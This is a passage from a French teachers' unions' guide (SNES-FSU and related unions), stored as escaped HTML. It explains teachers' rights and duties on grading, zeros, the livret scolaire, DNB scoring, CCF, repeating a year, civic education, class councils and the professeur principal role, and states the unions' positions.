l\u2019enseignant, et de fa\u00e7on plus sporadique, parfois plus contraint, entre l\u2019enseignant et la famille. Les modalit\u00e9s d\u2019\u00e9valuation rel\u00e8vent de la libert\u00e9 p\u00e9dagogique de l\u2019enseignant. Il est important de donner au jugement sur le travail scolaire sa r\u00e9elle dimension de formation et non de sanction sur la personne. Une \u00e9valuation n\u2019est pas un jugement de valeur. Il est important que celle-ci ait un sens pour l\u2019\u00e9l\u00e8ve en mati\u00e8re d\u2019apprentissage.<\/p>\n<p>La circulaire de rentr\u00e9e 2016 (<a href=\"https:\/\/www.education.gouv.fr\/pid285\/bulletin_officiel.html?pid_bo=34289\">2016-058 du 14\u00a0avril 2016<\/a>), pr\u00e9cise qu\u2019\u00ab\u00a0en cours de cycle, les modalit\u00e9s de l\u2019\u00e9valuation sont laiss\u00e9es \u00e0 l\u2019appr\u00e9ciation des \u00e9quipes\u00a0\u00bb au coll\u00e8ge et que \u00ab le positionnement de l\u2019\u00e9l\u00e8ve peut se faire \u00e0 travers la notation ou d\u2019autres formes d\u2019\u00e9va\u00adluation, d\u00e8s lors que sont clairement explicit\u00e9s les points acquis et ceux restant \u00e0 consolider avant l\u2019\u00e9valuation de fin de cycle\u00a0\u00bb.\u00a0Il faut s\u2019appuyer sur ce texte pour ne rien se laisser imposer (classes sans notes, validation de com\u00adp\u00e9tences dites \u00ab\u00a0transversales\u00a0\u00bb, utilisation d\u2019appli\u00adcations sp\u00e9cifiques, etc.). Vous trouverez des informations suppl\u00e9\u00admentaires sur le site du SNES-FSU : <a href=\"https:\/\/www.snes.edu\/Classes-sans-notes-ce-n-est-pas-obligatoire.html\">https:\/\/www.snes.edu\/Classes-sans-notes-ce-n-est-pas-obligatoire.html<\/a>.<\/p>\n<p><strong>L\u2019enseignant, ma\u00eetre de l\u2019\u00e9valuation de ses \u00e9l\u00e8ves<\/strong><\/p>\n<p>Si l\u2019enseignant doit \u00e9valuer ses \u00e9l\u00e8ves chaque trimestre, il ne peut \u00eatre contraint \u00e0 une forme particuli\u00e8re d\u2019\u00e9valuation (notation chiffr\u00e9e, comp\u00e9tences, couleurs\u2026) par le chef d\u2019\u00e9tablissement, ni se voir imposer un nombre minimal d\u2019\u00e9valuations par trimestre\/semestre. Il d\u00e9cide de \u00adpr\u00e9senter l\u2019ensemble de ses notes ou une moyenne dont il choisit le mode de calcul. Mais il a tout int\u00e9r\u00eat \u00e0 travailler de mani\u00e8re explicite avec les \u00e9l\u00e8ves en expliquant la prise en compte ou non de certaines \u00e9valuations, les coefficients \u00e9ventuels dans le bilan trimestriel pour \u00e9viter les \u00ab\u00a0surprises\u00a0\u00bb, facteurs de malentendus pr\u00e9judiciables au bon fonctionnement de la classe. Si un service de consultation des notes existe, il n\u2019y a aucune obligation \u00e0 y inscrire les notes des \u00e9l\u00e8ves. L\u2019Inspecteur p\u00e9dagogique de la discipline est le seul habilit\u00e9 \u00e0 donner un avis sur le contenu et la forme de l\u2019\u00e9valuation des enseignants.<\/p>\n<p>En outre, le bulletin de mi-trimestre n\u2019a aucun caract\u00e8re obligatoire.<\/p>\n<p><strong>La question du z\u00e9ro<\/strong><\/p>\n<p>La formulation inadapt\u00e9e d\u2019une circulaire parue au BO en juillet\u00a02000 avait suscit\u00e9 une pol\u00e9mique. Elle pr\u00e9cisait \u00ab\u00a0qu\u2019il n\u2019est pas permis de baisser la note d\u2019un devoir en raison du comportement d\u2019un \u00e9l\u00e8ve ou d\u2019une absence injustifi\u00e9e. Les z\u00e9ros doivent \u00eatre proscrits\u00a0\u00bb. Le minist\u00e8re, en f\u00e9vrier\u00a02001, a adress\u00e9 aux recteurs et aux IA une mise au point : \u00ab\u00a0Cette disposition, qui \u00e9tablit une distinction claire entre \u00e9valuation p\u00e9dagogique et domaine disciplinaire, ne signifie en aucune mani\u00e8re que les z\u00e9ros doivent dispara\u00eetre de l\u2019\u00e9valuation du travail scolaire. Un devoir non remis sans excuse valable, une copie blanche rendue le jour du contr\u00f4le, une copie manifestement entach\u00e9e de tricherie, ou encore un travail dont les r\u00e9sultats sont objectivement nuls, peuvent justifier qu\u2019on y ait recours. Pour l\u2019\u00e9valuation de travaux num\u00e9riques, il faut s\u2019assurer que l\u2019\u00e9l\u00e8ve a bien pu les faire (par exemple au CDI) avant de sanctionner un travail non rendu. L\u2019\u00e9valuation du travail scolaire, domaine qui rel\u00e8ve de la responsabilit\u00e9 p\u00e9dagogique propre des enseignants, ne peut \u00eatre contest\u00e9e, car elle est fond\u00e9e sur leur comp\u00e9tence disciplinaire\u00a0\u00bb.<\/p>\n<p>Le z\u00e9ro sanctionnant le travail scolaire ou le refus de s\u2019y soumettre (devoir non rendu, absence injustifi\u00e9e aux contr\u00f4les) fait donc bien partie de l\u2019\u00e9chelle de notation du professeur. En revanche, un \u00ab\u00a0z\u00e9ro de conduite \u00bb ne peut entrer dans une moyenne \u00e9valuant les connaissances et les comp\u00e9tences des \u00e9l\u00e8ves. Un comportement perturbateur ne peut \u00eatre sanctionn\u00e9 par une baisse de note mais rel\u00e8ve des \u00adpunitions et sanctions pr\u00e9vues au r\u00e8glement int\u00e9rieur de l\u2019\u00e9tablissement.<\/p>\n<p><strong>Les \u00e9preuves communes sont-elles obligatoires ?<\/strong><\/p>\n<p>Elles peuvent \u00eatre d\u00e9cid\u00e9es collectivement par les \u00e9quipes p\u00e9dagogiques, mais elles ne peuvent \u00eatre impos\u00e9es \u00e0 un enseignant qui les refuse. Un dialogue avec l\u2019ensemble de l\u2019\u00e9quipe disciplinaire est cependant pr\u00e9f\u00e9rable afin d\u2019aboutir \u00e0 une position commune ou en tout cas explicite, afin d\u2019\u00e9viter un sentiment d\u2019arbitraire et d\u2019injustice aux \u00e9l\u00e8ves.<\/p>\n<p><strong>Le livret scolaire<\/strong><\/p>\n<p>Ce livret concernant le primaire et le coll\u00e8ge paru au JO du 3\u00a0janvier 2016 comporte des bilans p\u00e9riodiques\u00a0(anciennement bulletins scolaires), des bilans de fin de cycle (\u00e9valuation des niveaux de ma\u00eetrise du socle) et diff\u00e9rentes attestations : premiers secours, s\u00e9curit\u00e9 routi\u00e8re, savoir nager.<\/p>\n<p>Les bilans p\u00e9riodiques comportent pour chaque discipline, les \u00e9l\u00e9ments de programme travaill\u00e9s dans la p\u00e9riode, une appr\u00e9ciation formul\u00e9e sous cette forme \u00ab\u00a0acquisitions, progr\u00e8s ou difficult\u00e9s \u00e9ventuelles des \u00e9l\u00e8ves\u00a0\u00bb, une note ou \u00ab\u00a0tout autre positionnement de l\u2019\u00e9l\u00e8ve au regard des objectifs d\u2019apprentissage fix\u00e9s sur la p\u00e9riode\u00a0\u00bb.<\/p>\n<p>Doivent y figurer :<\/p>\n<p>\u2022 Une indication des actions r\u00e9alis\u00e9es dans le cadre de l\u2019accompagnement personnalis\u00e9, ainsi qu\u2019une appr\u00e9ciation de l\u2019implication de l\u2019\u00e9l\u00e8ve dans celles-ci. La mention et l\u2019appr\u00e9ciation des projets r\u00e9alis\u00e9s dans le cadre des enseignements pratiques interdisciplinaires, en pr\u00e9cisant la th\u00e9matique travaill\u00e9e et les disciplines d\u2019enseignement concern\u00e9es.<\/p>\n<p>\u2022 Le cas \u00e9ch\u00e9ant, la mention et l\u2019appr\u00e9ciation des projets mis en \u0153uvre durant la p\u00e9riode dans le cadre du parcours d\u2019\u00e9ducation artistique et culturelle, du parcours citoyen et du parcours Avenir.<\/p>\n<p>Il doit enfin \u00eatre mentionn\u00e9 si l\u2019\u00e9l\u00e8ve est en PAP, PAI, PPRE, PPS, ULIS, UPE2A, SEGPA etc., les v\u0153ux et la d\u00e9cision d\u2019orientation en Troisi\u00e8me, le nombre de demi-journ\u00e9es d\u2019absences, justifi\u00e9es et non justifi\u00e9es par les responsables l\u00e9gaux.<\/p>\n<p>Les bilans de fin de cycle sont compos\u00e9s de l\u2019\u00e9valuation des niveaux de \u00adma\u00eetrise des (sous)-domaines du socle, d\u2019une appr\u00e9ciation sur les acquis scolaires du cycle et, le cas \u00e9ch\u00e9ant, des conseils pour le cycle suivant.<\/p>\n<p>Les niveaux de ma\u00eetrise des quatre composantes du domaine 1 et des 4 autres domaines du socle en fin de Sixi\u00e8me et de Troisi\u00e8me est \u00e9valu\u00e9 sur une \u00e9chelle de 1 \u00e0 4 (1. ma\u00eetrise insuffisante, 2. ma\u00eetrise fragile, 3. ma\u00eetrise satisfaisante, 4. tr\u00e8s bonne ma\u00eetrise). Le socle sera consid\u00e9r\u00e9 comme ma\u00eetris\u00e9 si l\u2019\u00e9l\u00e8ve se situe aux \u00e9chelons 3 ou 4 en fin de cycle 4. Cette \u00e9valuation de ma\u00eetrise du socle n\u2019implique en aucune fa\u00e7on l\u2019obligation d\u2019une \u00e9valuation \u00ab\u00a0par comp\u00e9tences\u00a0\u00bb.<\/p>\n<p>Les \u00e9l\u00e9ments constitutifs du livret scolaire sont num\u00e9ris\u00e9s dans un logiciel national (LSUN : livret scolaire unique num\u00e9rique).<\/p>\n<p><strong>Les nouvelles modalit\u00e9s d\u2019attribution du DNB \u00e0 compter de la session 2018<\/strong><\/p>\n<p><em>Arr\u00eat\u00e9 paru au JO du 29 novembre 2017.<\/em><\/p>\n<p>Le dipl\u00f4me national du brevet est d\u00e9cern\u00e9 aux candidats ayant obtenu un nombre total de points au moins \u00e9gal \u00e0\u00a0400 sur 800. Ce total correspond aux points attribu\u00e9s selon le niveau de ma\u00eetrise de chacune des composantes du premier domaine et de chacun des quatre autres domaines du socle commun de connaissances, de comp\u00e9tences et de culture (voir paragraphe Le Livret scolaire), ajout\u00e9s \u00e0 ceux obtenus par les notes des \u00e9preuves d\u2019examen.<\/p>\n<p>Les points sont donn\u00e9s en fonction de l\u2019\u00e9chelle de 1 \u00e0 4 :<\/p>\n<p>\u2013 10 points si le candidat obtient le niveau \u00ab\u00a0Ma\u00eetrise insuffisante\u00a0\u00bb ;<\/p>\n<p>\u2013 25 points s\u2019il obtient le niveau \u00ab\u00a0Ma\u00eetrise fragile\u00a0\u00bb\u00a0;<\/p>\n<p>\u2013 40 points s\u2019il obtient le niveau \u00ab\u00a0Ma\u00eetrise satisfaisante\u00a0\u00bb\u00a0;<\/p>\n<p>\u2013 50 points s\u2019il obtient le niveau \u00ab\u00a0Tr\u00e8s bonne ma\u00eetrise\u00a0\u00bb.<\/p>\n<p>L\u2019examen comporte cinq \u00e9preuves obligatoires not\u00e9es de 0 \u00e0 100 points :<\/p>\n<p>\u2022 une \u00e9preuve orale qui porte sur un des projets men\u00e9s par le candidat dans le cadre des enseignements pratiques interdisciplinaires du cycle 4, du parcours avenir, du parcours citoyen ou du parcours d\u2019\u00e9ducation artistique et culturelle, de l\u2019histoire des arts (100 points) ;<\/p>\n<p>\u2022 des \u00e9preuves \u00e9crites qui portent sur les programmes de fran\u00e7ais (100 points), de math\u00e9matiques (100 points), d\u2019histoire et g\u00e9ographie et enseignement moral et civique\u00a0(50 points) et de sciences (deux disciplines parmi SVT, sciences-physiques, technologie pour 50 points).<\/p>\n<p>Des points suppl\u00e9mentaires sont accord\u00e9s aux candidats ayant suivi un enseignement facultatif (latin, grec, langues r\u00e9gionales, chorale\u2026) :<\/p>\n<p>\u2022 10 points si les objectifs d\u2019apprentissage du cycle sont atteints ;<\/p>\n<p>\u2022 20 points si les objectifs d\u2019apprentissage du cycle sont d\u00e9pass\u00e9s.<\/p>\n<p>Le niveau atteint est appr\u00e9ci\u00e9 par l\u2019enseignant ayant eu en charge l\u2019enseignement de compl\u00e9ment suivi par l\u2019\u00e9l\u00e8ve.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le minist\u00e8re a mis en place un cadrage bureaucratique de l\u2019\u00e9valuation destin\u00e9 principalement \u00e0 la communication avec les parents. Sous couvert de simplification et de transparence vis-\u00e0-vis des \u00e9l\u00e8ves et des parents, les nouvelles dispositions ont g\u00e9n\u00e9r\u00e9 du travail suppl\u00e9mentaire pour les personnels, sans aucune efficacit\u00e9 p\u00e9dagogique. Les bilans sont bien plus longs \u00e0 remplir. L\u2019\u00e9valuation du socle en fin de Sixi\u00e8me et de Troisi\u00e8me, avec huit items sur une \u00e9chelle de 1 \u00e0 4, est \u00adparticuli\u00e8rement illisible et peu op\u00e9ratoire. Elle a parfois servi de levier pour imposer une \u00e9valuation sans note dans les coll\u00e8ges. Elle est tr\u00e8s complexe \u00e0 mettre en \u0153uvre. Comment \u00e9valuer un \u00e9l\u00e8ve sur la citoyennet\u00e9 (domaine 3)\u00a0? Comment le positionner sur le seul item \u00ab\u00a0ma\u00eetrise des langages des arts et du corps\u00a0\u00bb regroupant EPS, \u00e9ducation musicale et arts plastiques (sous-domaine du domaine 1)\u00a0? \u00adComment \u00e9valuer les \u00ab\u00a0m\u00e9thodes et outils pour apprendre \u00bb\u00a0toutes disciplines confondues (domaine 2)\u00a0? etc. Citons enfin le contenu du livret scolaire\u00a0: comment par exemple \u00e9valuer \u00ab\u00a0l\u2019implication de l\u2019\u00e9l\u00e8ve\u00a0\u00bb en Accompagnement Personnalis\u00e9\u00a0? Certaines disciplines ont quasiment disparu du DNB\u00a0: enseignements artistiques, EPS, ce qui est inadmissible, en particulier par la hi\u00e9rarchie disciplinaire induite. Le minist\u00e8re a tent\u00e9 de rassurer sur le logiciel LSUN, indiquant qu\u2019elle serait transparente, les \u00e9tablissements pouvant garder leur application habituelle, bascul\u00e9e sur LSUN. Il n\u2019en demeure pas moins que les rubriques EPI et AP sont cens\u00e9es \u00eatre renseign\u00e9es avec un certain d\u00e9tail, et que le bulletin version papier passe de 1 \u00e0 3 ou 4 pages. Une fois de plus, le num\u00e9rique, qui pourrait \u00eatre utilis\u00e9 pour diminuer la charge de travail, a l\u2019effet inverse. Le SNES-FSU et le SNEP-FSU demandent la refonte du contenu du livret scolaire pour le simplifier et donc la suppression de ce LSUN.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p><strong>Le Contr\u00f4le en cours de formation (CCF)<\/strong><\/p>\n<p>Introduit \u00e0 titre exp\u00e9rimental, le CCF s\u2019est g\u00e9n\u00e9ralis\u00e9 \u00e0 presque toutes les disciplines de tous les dipl\u00f4mes de la voie professionnelle (CAP, BEP, bac pro) mais sans r\u00e9el bilan. Ce mode d\u2019\u00e9valuation concerne d\u00e9sormais de nombreuses fili\u00e8res de BTS. La r\u00e9alisation, l\u2019organisation, la surveillance, la correction du CCF font partie int\u00e9grante de l\u2019activit\u00e9 des professeurs. Les \u00e9preuves ont lieu tout au long de la formation.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le SNUEP-FSU d\u00e9nonce cette politique du \u00ab tout CCF \u00bb et r\u00e9affirme son exigence du maintien du caract\u00e8re national des dipl\u00f4mes (CAP, BEP, bac pro) gr\u00e2ce \u00e0 des \u00e9preuves ponctuelles cadr\u00e9es \u00adnationalement. Le SNUEP-FSU exige le retour \u00e0 l\u2019examen ponctuel terminal et anonyme, seul garant du caract\u00e8re national des dipl\u00f4mes. Sa mise en \u0153uvre dans le cadre de la r\u00e9forme du bac et du lyc\u00e9e (trois sessions au cours du cycle terminal) va encore davantage perturber le rythme d\u2019apprentissage des \u00e9l\u00e8ves tout en augmentant sensiblement la part locale de l\u2019\u00e9valuation du bac.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\">Redoublement<\/p>\n<p>Le d\u00e9cret n\u00b0\u00a02018-119 du 20-2-2018 substitue \u00e0 \u00ab l\u2019interdiction du redoublement sauf cas exceptionnel \u00bb, le \u00ab redoublement exceptionnel \u00bb. Concr\u00e8tement, il ne pourra avoir lieu qu\u2019apr\u00e8s la mise en place d\u2019un accompagnement p\u00e9dagogique (PPRE) qui n\u2019aurait pas port\u00e9 ses fruits et un dialogue renforc\u00e9 avec la famille. Si le redoublement est \u00e0 juste titre mis en cause par des travaux de recherches montrant qu\u2019il n\u2019est statistiquement pas efficace, la seule r\u00e9ponse par le passage automatique dans la classe sup\u00e9rieure au coll\u00e8ge comme au lyc\u00e9e n\u2019est pas plus satisfaisante. Cette mesure est surtout un coup de com pour satisfaire l\u2019opinion publique.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU demandent que les moyens \u00e9conomis\u00e9s par l\u2019\u00c9ducation nationale suite \u00e0 la forte diminution du redoublement ces derni\u00e8res ann\u00e9es et \u00e0 sa suppression soient maintenus dans les \u00e9tablissements pour la mise en place de solutions alternatives, qui restent encore \u00e0 venir. Les seules propositions actuelles, programmes personnalis\u00e9s de r\u00e9ussite \u00e9ducative au coll\u00e8ge sans financement sp\u00e9cifique, et stages de remise \u00e0 niveau au lyc\u00e9e, sont peu mises en \u0153uvre et aucun bilan n\u2019en a \u00e9t\u00e9 fait.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-red-color has-text-color\">Enseignement moral et civique<\/p>\n<p>Pour le SNES-FSU et le SNUEP-FSU, tous les enseignements, ainsi que la vie scolaire, sont concern\u00e9s par la la\u00efcit\u00e9 et la citoyennet\u00e9. Mais c\u2019est un enseignement sensible, qui pose bien des questions de fond.<\/p>\n<p>Le programme de coll\u00e8ge d\u2019EMC reprend pour une large part les th\u00e9matiques du programme d\u2019\u00e9ducation civique, avec cependant de nouvelles approches p\u00e9dagogiques (le texte insiste sur les comp\u00e9tences \u00e0 travailler au travers de \u00ab\u00a0projets\u00a0\u00bb et de \u00ab\u00a0pratiques\u00a0\u00bb) et le m\u00eame horaire lui est attribu\u00e9, horaire qui doit revenir, pour l\u2019instant, aux professeurs d\u2019histoire-g\u00e9ographie. Il est cependant con\u00e7u par cycles, sans rep\u00e8res de progression annuels.<\/p>\n<p>On peut l\u00e9gitimement craindre une volont\u00e9 d\u2019imposer des normes de comportement.<\/p>\n<p>Dans les d\u00e9marches p\u00e9dagogiques propos\u00e9es, l\u2019EMC au lyc\u00e9e est tr\u00e8s proche de ce que les professeurs (tr\u00e8s majoritairement d\u2019histoire-g\u00e9ographie, mais aussi de philosophie ou de SES) faisaient jusqu\u2019alors, avec n\u00e9anmoins une dimension sociale r\u00e9duite que le SNES-FSU a d\u00e9nonc\u00e9e. De nouveaux programmes sont mis en \u0153uvre en Seconde et en Premi\u00e8re \u00e0 la rentr\u00e9e 2019, dans le cadre de la r\u00e9forme du lyc\u00e9e. L\u2019horaire de 18 heures annuelles rend possible la tentation de faire dispara\u00eetre l\u2019enseignement sous couvert de regroupements d\u2019heures ou d\u2019externalisation sous la forme de projets. Il est important que cet enseignement puisse se faire selon le rythme d\u2019une heure par quinzaine dans l\u2019emploi du temps des \u00e9l\u00e8ves comme dans celui des enseignants. La r\u00e9forme Blanquer du lyc\u00e9e a supprim\u00e9 l\u2019enseignement obligatoire en effectifs r\u00e9duits et a impos\u00e9 l\u2019\u00e9valuation au baccalaur\u00e9at en contr\u00f4le continu.<\/p>\n<p>Le SNUEP-FSU regrette que les programmes d\u2019EMC ne prennent pas du tout en compte la dimension professionnelle de l\u2019\u00e9ducation \u00e0 la citoyennet\u00e9 en lyc\u00e9e professionnel.<\/p>\n<p>Alors que la r\u00e9forme du coll\u00e8ge pr\u00e9cise que les CPE ont vocation \u00e0 \u00eatre associ\u00e9s \u00e0 l\u2019EMC et aux EPI contest\u00e9s, des interventions syst\u00e9matiques ne sont pas envisageables ou alors au d\u00e9triment d\u2019autres activit\u00e9s dans un contexte o\u00f9 les dotations en CPE des EPLE sont insuffisantes. N\u00e9anmoins, pour le SNES-FSU, des co-interventions avec les \u00e9quipes \u00e9ducatives sur des champs plus sp\u00e9cifiques peuvent \u00eatre d\u00e9velopp\u00e9es.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">La participation aux conseils de classe<\/p>\n<p>Le conseil de classe est r\u00e9uni trois fois par an. Pr\u00e9sid\u00e9 par le chef d\u2019\u00e9tablissement ou son repr\u00e9sentant (en g\u00e9n\u00e9ral son adjoint), il est compos\u00e9 des professeurs de la classe, de deux d\u00e9l\u00e9gu\u00e9s \u00e9l\u00e8ves, deux d\u00e9l\u00e9gu\u00e9s parents d\u2019\u00e9l\u00e8ves, du Psy-\u00c9N et du CPE. Dans certaines disciplines, le nombre de classes rend impossible la participation \u00e0 toutes ces r\u00e9unions. Si le professeur justifie de cette impossibilit\u00e9 \u00e0 assister \u00e0 certains conseils de classe et qu\u2019il transmet ses observations sur la classe au professeur principal, il ne peut lui en \u00eatre fait grief. Il n\u2019existe aucun texte fixant un nombre minimal ni maximal de r\u00e9unions auxquels les professeurs sont tenus de participer mais la limitation \u00e0 cinq conseils par trimestre est un droit coutumier bien install\u00e9.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">La charge de professeur principal (PP)<\/p>\n<p>Pour chaque classe, un professeur principal (\u00e9ventuellement deux dans les \u00e9tablissements class\u00e9s \u00ab\u00a0sensibles\u00a0\u00bb et en Terminale) est d\u00e9sign\u00e9 par le chef d\u2019\u00e9tablissement avec l\u2019accord de l\u2019int\u00e9ress\u00e9, pour la dur\u00e9e de l\u2019ann\u00e9e scolaire, pour exercer le r\u00f4le de coordinateur et assurer le suivi des \u00e9l\u00e8ves (en liaison avec les CPE), le bilan de leur scolarit\u00e9, la pr\u00e9paration de leur orientation (en liaison avec les Psy-\u00c9N). Il effectue la synth\u00e8se des r\u00e9sultats obtenus par les \u00e9l\u00e8ves et pr\u00e9sente cette synth\u00e8se au conseil de classe. Il favorise les liens entre les membres de l\u2019\u00e9quipe p\u00e9dagogique, mais aussi entre l\u2019\u00e9tablissement et les parents. Il est amen\u00e9 \u00e0 travailler en concertation avec l\u2019\u00e9quipe \u00e9ducative (Infirmi\u00e8re, AS, Psy-\u00c9N et CPE).<\/p>\n<p>Les professeurs qui acceptent cette responsabilit\u00e9 voient d\u2019ann\u00e9e en ann\u00e9e leur charge de travail s\u2019alourdir. En effet, au pr\u00e9texte qu\u2019ils per\u00e7oivent une indemnit\u00e9 sp\u00e9cifique (la part modulable de l\u2019ISOE), tout devient bon pour chercher \u00e0 leur imposer de nouvelles t\u00e2ches : heures de vie de classe, pr\u00e9paration et suivi des stages en entreprises en Troisi\u00e8me, entretien obligatoire d\u2019orientation en Troisi\u00e8me (sans avoir ni la formation n\u00e9cessaire ni le positionnement ad\u00e9quat, avec le danger de se substituer ainsi aux Psy-\u00c9N), entretien avec les familles et \u00e9laboration de projets pour les PPRE\u2026 Autant dire que la coupe est plus que pleine.<\/p>\n<p>La fonction de professeur principal est une t\u00e2che int\u00e9ressante, \u00e0 laquelle tiennent les \u00adprofesseurs qui travaillent, dans ce cadre, au plus pr\u00e8s des familles en lien avec les \u00e9quipes p\u00e9dagogiques et \u00e9ducatives, mais il n\u2019est plus possible d\u2019accepter une telle d\u00e9gradation de cette mission et un tel alourdissement de la charge de travail (cf. <a href=\"https:\/\/www.education.gouv.fr\/bo\/18\/Hebdo33\/MENE1823888C.htm\">circulaire 2018-108 du 10\/10\/2018<\/a>).<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>M\u00eame si un professeur qui exerce dans un cycle est suppos\u00e9 conna\u00eetre l\u2019ensemble du cycle dans sa discipline et donc \u00eatre en mesure d\u2019\u00e9valuer au baccalaur\u00e9at par exemple, nous exigeons que soient convoqu\u00e9s en priorit\u00e9 les professeurs exer\u00e7ant dans les niveaux pr\u00e9parant \u00e0 l\u2019examen, ce qui n\u2019est pas toujours le cas. Il est recommand\u00e9 que les stagiaires ne soient pas con\u00advoqu\u00e9s mais aucun texte ne l\u2019interdit. Contactez votre section acad\u00e9mique afin que les militants vous accompagnent en cas de difficult\u00e9s.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p><strong>La participation aux examens<\/strong><\/p>\n<p>Surveillance et correction des \u00e9preuves, participation au jury constituent une \u00ab\u00a0charge normale d\u2019emploi\u00a0\u00bb du professeur, quelle que soit la p\u00e9riode, \u00e0 la condition que les examens et concours correspondent \u00e0 sa qualification. Ces t\u00e2ches donnent lieu \u00e0 indemnit\u00e9s. Ce sont les \u00e9tablissements qui fournissent au centre d\u2019examen la liste des professeurs susceptibles d\u2019intervenir.<\/p>\n<p>Concernant les professeurs documentalistes, la lourdeur des t\u00e2ches de gestion d\u2019un CDI en fin d\u2019ann\u00e9e devrait \u00eatre prise en compte pour \u00e9viter les abus constat\u00e9s avec l\u2019imposition de surveillances et de secr\u00e9tariat d\u2019examen.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Comment construire sa progression ?<\/h4>\n<p>Depuis 2016, les programmes du coll\u00e8ge sont organis\u00e9s par cycles. Certains n\u2019ont que peu ou pas de rep\u00e8res annuels, ce qui complexifie la t\u00e2che des professeurs. Recrut\u00e9s pour enseigner une discipline, les professeurs ont toute libert\u00e9 d\u2019organiser leur enseignement dans le cadre des programmes d\u00e9finis nationalement et publi\u00e9s dans le Bulletin officiel (BO). Attention, les manuels ne sont pas les programmes ! On peut ainsi trouver les liens vers les BO, des ressources, des documents d\u2019accompagnements sur les sites minist\u00e9riels d\u2019Eduscol : https:\/\/eduscol. education.fr ; de Canop\u00e9, le r\u00e9seau de cr\u00e9ation et d\u2019accompagnement p\u00e9dagogique : <a href=\"https:\/\/www.reseau-canope.fr\">https:\/\/www.reseau-canope.fr<\/a>, les sites disciplinaires des rectorats, les sites, blogs et ouvrages de nombreux coll\u00e8gues.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td><strong>Les ressources du SNES-FSU en mati\u00e8re de contenus, pratiques, p\u00e9dagogie <\/strong><br \/>\nAu niveau national, le secteur Contenus du SNES-FSU est constitu\u00e9 de groupes disciplinaires de professeurs du second degr\u00e9 qui font le point sur les \u00e9volutions p\u00e9dagogiques du m\u00e9tier, les didactiques des disciplines, analysent et r\u00e9fl\u00e9chissent aux programmes, aux pratiques de classe, \u00e0 l\u2019\u00e9valuation des \u00e9l\u00e8ves, proposent des r\u00e9flexions p\u00e9dagogiques, etc. Ils produisent nombre d\u2019articles : <a href=\"https:\/\/www.snes.edu\/\">voir site du SNES-FSU<\/a>. Ils proposent aux coll\u00e8gues des stages de r\u00e9flexion sur les programmes, les pratiques, les disciplines, des colloques, des s\u00e9minaires\u2026 Des listes de diffusion existent dans toutes les disciplines et permettent aux coll\u00e8gues syndiqu\u00e9s d\u2019\u00e9changer sur des questions li\u00e9es \u00e0 l\u2019exercice du m\u00e9tier, aux contenus, programmes, pratiques, \u00e9valuation, conditions d\u2019enseignement, etc. et d\u2019obtenir des r\u00e9ponses rapides (et fiables !) \u00e0 ces questions. Le SNES-FSU organise des journ\u00e9es de r\u00e9flexion, stages, colloques avec des chercheurs, au plan national ainsi que dans les acad\u00e9mies.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Les secteurs \u00e9ducation et m\u00e9tiers ainsi que les sections acad\u00e9miques du SNUEP-FSU proposent des stages r\u00e9guliers sur les disciplines, les contenus et les droits et devoirs des PLP. Ces actions sont relay\u00e9es dans nos publications et nos lettres informatiques aux adh\u00e9rents.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Les ressources p\u00e9dagogiques du SNEP Le Centre EPS et Soci\u00e9t\u00e9), \u00e9manation du SNEP, est un outil de r\u00e9flexion et de production sur les questions p\u00e9dagogiques et didactiques de l\u2019EPS et du sport scolaire. Le SNEP, avec le Centre EPS et Soci\u00e9t\u00e9, organisent dans les acad\u00e9mies des stages \u00ab p\u00e9dagogiques \u00bb et diffusent la revue Contre-Pied \u00e0 tous les syndiqu\u00e9s : <a href=\"http:\/\/pedagogie.snepfsu.fr\">http:\/\/pedagogie.snepfsu.fr<\/a> et <a href=\"http:\/\/www.epsetsociete.fr\">http:\/\/www.epsetsociete.fr<\/a>.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Nos relations avec les parents<\/h4>\n<p>En ce qui concerne les droits des parents d\u2019\u00e9l\u00e8ves, l\u2019accent est mis sur la n\u00e9cessit\u00e9 d\u2019informer les familles des r\u00e9sultats et comportements scolaires de leurs enfants par l\u2019interm\u00e9diaire du carnet de correspondance, du bilan p\u00e9riodique et par l\u2019organisation d\u2019au moins deux rencontres parents\/professeurs par an et par classe, pouvant prendre diff\u00e9rentes formes. Le CA \u00ab donne son accord sur les orientations relatives \u00e0 la conduite du dialogue avec les parents d\u2019\u00e9l\u00e8ves \u00bb (nombre, nature et dates des rencontres) lors de sa premi\u00e8re r\u00e9union, des sp\u00e9cificit\u00e9s locales pouvant \u00eatre prises en compte. Les textes font \u00e9cho \u00e0 de v\u00e9ritables pr\u00e9occupations, mais n\u2019y r\u00e9pondent souvent que de fa\u00e7on formelle.<\/p>\n<p>Entre \u00e9quipes \u00e9ducatives et familles, les relations sont en effet complexes, parfois difficiles :<\/p>\n<p>\u2022 dans certains cas, les parents semblent trop pr\u00e9sents et adoptent une attitude consum\u00e9riste (strat\u00e9gies visant \u00e0 choisir les \u00e9tablissements, les classes, exigences formul\u00e9es en mati\u00e8re d\u2019orientation\u2026). Il arrive que \u00adcertains couvrent des d\u00e9rives comportementales ou de l\u2019absent\u00e9isme ;<\/p>\n<p>\u2022 mais c\u2019est souvent aussi le reproche inverse que l\u2019on entend : absence des parents, 